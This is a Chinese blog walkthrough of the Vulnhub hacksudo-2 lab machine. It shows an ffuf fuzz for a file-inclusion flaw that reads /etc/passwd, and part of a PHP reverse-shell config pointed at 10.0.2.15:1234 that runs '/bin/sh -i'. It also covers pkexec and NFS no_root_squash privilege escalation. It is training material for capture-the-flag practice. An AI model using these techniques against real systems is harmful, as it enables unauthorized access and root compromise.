Vulnhub hacksudo-2 Walkthrough


Vulnhub hacksudo-2 Walkthrough

前言

上一个靶场我竟然没有按照作者的意图就直接解出来了,着实是令人开心的一件事情。hacksudo-2 是这个系列的第二个靶场了,希望今天上午能够干完,我现在的节奏一般是先自己尝试一下,发现了思路,或者已经能够拿到 wenshell 了,就马上会把笔记写一下。所以当我写到这里的时候,就说明我已经成功了。

信息收集

IP 信息 端口信息

HTTP 扫描

使用 gobuster 扫描一下。

发现个 file.php 文件,访问一下,不过文件名都提示的如此的明显了,这很明显是一个文件包含利用的一个文件对吧。使用 FUZZ 测试一下。

ffuf -c -w /usr/share/wfuzz/wordlist/general/common.txt -u 'http://10.0.2.10/file.php?FUZZ=/etc/passwd' -fs 238

文件包含

结果很明显了,直接包含一下看看有什么用户没有。

挂载远程盘

在上面扫描端口信息的时候是发现了 NFS 服务的,试一下能不能挂载,或者测试一下是否需要密码访问。

反弹 shell

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.2.15';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

提权

我已经无力吐槽了,这个靶场简直了。我就没见过这么简单的,而且连续两个都是一种提权的漏洞,但是我感觉这个事情绝对不是这么简单,坐着的意图肯定不是这么简单的通过这个 pkexec 漏洞提权,我觉得是作者当时制作这个靶机的时候这个漏洞还没爆出来,所以才这样的。

$ uname -a
Linux hacksudo 5.8.0-41-generic #46-Ubuntu SMP Mon Jan 18 16:48:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ dpkg -l policykit-1 
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version      Architecture Description
+++-==============-============-============-=============================================================
ii  policykit-1    0.105-29     amd64        framework for managing administrative policies and privileges

另一种方法

一定是还有两一种方法的,不能总是用上面的提权方式,起不到练习的目的了。这里可以这么想,就是说这个我已经挂在了一块盘对吧,可以查看一下这个 cat /etc/exports

$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/mnt/nfs       *(rw,no_root_squash)
$ 

看到这里懂得人我相信你就明白了,我可以在 NFS 文件夹里面弄一个拥有 s 权限的文件,然后让 www-data 用户使用,以此达到提权的目的。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录